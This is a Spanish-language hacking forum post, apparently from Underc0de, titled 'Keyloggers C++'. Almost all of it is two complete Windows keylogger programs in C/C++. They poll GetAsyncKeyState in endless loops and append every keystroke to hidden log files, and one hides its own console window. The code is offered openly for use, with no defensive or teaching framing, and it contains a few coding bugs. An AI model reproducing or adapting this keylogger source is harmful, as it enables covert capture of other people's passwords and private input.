Keyloggers C++

  • 0 Respuestas
  • 2522 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5706
  • Actividad:
    30%
  • Country: ar
  • Reputación 37
  • ANTRAX
  • Skype: underc0de.org
  • Twitter: @Underc0de
    • Ver Perfil
    • Underc0de
    • Email

Keyloggers C++

  • en: Mayo 22, 2011, 09:55:10 pm
Código: C++
  1. 001   #include <stdio.h>
  2. 002   #include <windows.h>
  3. 003   #include <Winuser.h>
  4. 004    
  5. 005    
  6. 006   void keys(int key,char *file)
  7. 007   {
  8. 008    
  9. 009   FILE *key_file;
  10. 010    
  11. 011   key_file = fopen(file,"a+");
  12. 012    
  13. 013    
  14. 014    
  15. 015   if (key==8)
  16. 016    
  17. 017   fprintf(key_file,"%s","[del]");
  18. 018    
  19. 019   if (key==13)
  20. 020    
  21. 021   fprintf(key_file,"%s","\n");
  22. 022    
  23. 023   if (key==32)
  24. 024    
  25. 025   fprintf(key_file,"%s"," ");
  26. 026    
  27. 027   if (key==VK_CAPITAL)
  28. 028    
  29. 029   fprintf(key_file,"%s","[Caps]");
  30. 030    
  31. 031   if (key==VK_TAB)
  32. 032    
  33. 033   fprintf(key_file,"%s","[TAB]");
  34. 034    
  35. 035   if (key ==VK_SHIFT)
  36. 036    
  37. 037   fprintf(key_file,"%s","[SHIFT]");
  38. 038    
  39. 039   if (key ==VK_CONTROL)
  40. 040    
  41. 041   fprintf(key_file,"%s","[CTRL]");
  42. 042    
  43. 043   if (key ==VK_PAUSE)
  44. 044    
  45. 045   fprintf(key_file,"%s","[PAUSE]");
  46. 046    
  47. 047   if (key ==VK_KANA)
  48. 048    
  49. 049   fprintf(key_file,"%s","[Kana]");
  50. 050    
  51. 051   if (key ==VK_ESCAPE)
  52. 052    
  53. 053   fprintf(key_file,"%s","[ESC]");
  54. 054    
  55. 055   if (key ==VK_END)
  56. 056    
  57. 057   fprintf(key_file,"%s","[END]");
  58. 058    
  59. 059   if (key==VK_HOME)
  60. 060    
  61. 061   fprintf(key_file,"%s","[HOME]");
  62. 062    
  63. 063   if (key ==VK_LEFT)
  64. 064    
  65. 065   fprintf(key_file,"%s","[LEFT]");
  66. 066    
  67. 067   if (key ==VK_UP)
  68. 068    
  69. 069   fprintf(key_file,"%s","[UP]");
  70. 070    
  71. 071   if (key ==VK_RIGHT)
  72. 072    
  73. 073   fprintf(key_file,"%s","[RIGHT]");
  74. 074    
  75. 075   if (key ==VK_DOWN)
  76. 076    
  77. 077   fprintf(key_file,"%s","[DOWN]");
  78. 078    
  79. 079   if (key ==VK_SNAPSHOT)
  80. 080    
  81. 081   fprintf(key_file,"%s","[PRINT]");
  82. 082    
  83. 083   if (key ==VK_NUMLOCK)
  84. 084    
  85. 085   fprintf(key_file,"%s","[NUM LOCK]");
  86. 086    
  87. 087   if (key ==190 || key==110)
  88. 088    
  89. 089   fprintf(key_file,"%s",".");
  90. 090    
  91. 091   if (key >=96 && key <= 105){
  92. 092    
  93. 093       key = key - 48;
  94. 094    
  95. 095       fprintf(key_file,"%s",&key);
  96. 096    
  97. 097   }
  98. 098    
  99. 099   if (key >=48 && key <= 59)
  100. 100    
  101. 101   fprintf(key_file,"%s",&key);
  102. 102    
  103. 103    
  104. 104    
  105. 105   if (key !=VK_LBUTTON || key !=VK_RBUTTON){
  106. 106    
  107. 107       if (key >=65 && key <=90){
  108. 108    
  109. 109           if (GetKeyState(VK_CAPITAL))
  110. 110          
  111. 111               fprintf(key_file,"%s",&key);
  112. 112    else
  113. 113    
  114. 114    {
  115. 115    
  116. 116        key = key +32;
  117. 117    
  118. 118        fprintf(key_file,"%s",&key);
  119. 119    
  120. 120    }
  121. 121   }
  122. 122    
  123. 123   }
  124. 124    
  125. 125   fclose(key_file);
  126. 126    
  127. 127    
  128. 128    
  129. 129    
  130. 130    
  131. 131   }
  132. 132    
  133. 133   int main()
  134. 134   {
  135. 135    
  136. 136    
  137. 137    
  138. 138   char i;
  139. 139    
  140. 140    
  141. 141   char test[MAX_PATH];
  142. 142   GetWindowsDirectory(test,sizeof(test));
  143. 143   strcat(test,"//keys.txt");
  144. 144    
  145. 145   while(1){  
  146. 146    
  147. 147       for(i=8;i<=190;i++){
  148. 148      
  149. 149       if (GetAsyncKeyState(i) == -32767)
  150. 150        
  151. 151       {
  152. 152      
  153. 153          
  154. 154         keys (i,test);
  155. 155          
  156. 156          
  157. 157    
  158. 158       }
  159. 159   }
  160. 160    
  161. 161   }
  162. 162    
  163. 163   }



Código: C++
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4.  
  5. #define TRUE               1
  6. #define FALSE              0
  7. #define LINE                 256
  8. #define CARACTERES   256
  9. #define SLEEP              2
  10.  
  11. int main(void)
  12. {
  13.      FILE                    *f;
  14.      int                        i, n = 0;
  15.      int                        line[LINE];    
  16.  
  17.      FreeConsole();
  18.  
  19.      if(! (f = fopen("log.txt","ab+")))
  20.            exit(EXIT_FAILURE);
  21.  
  22.      while(TRUE){
  23.               for(i = 0; i < CARACTERES - 1; i++){
  24.                     if(GetAsyncKeyState(i) == -32767){
  25.                          if( n < LINE - 1){
  26.                              line[n++] = i;
  27.                          }else{
  28.                              line[n] = '\0';
  29.                              fprintf(f,"%s\n",line);
  30.                              n = 0;
  31.                          }
  32.                     }
  33.               }
  34.               sleep(SLEEP);
  35.      }
  36.      fclose(f);    
  37.  
  38.      exit(EXIT_SUCCESS);
  39. }
« Última modificación: Febrero 08, 2014, 05:49:43 pm por Expermicid »


 

Keyloggers C

Iniciado por ANTRAX

Respuestas: 0
Vistas: 2932
Último mensaje Mayo 22, 2011, 09:53:59 pm
por ANTRAX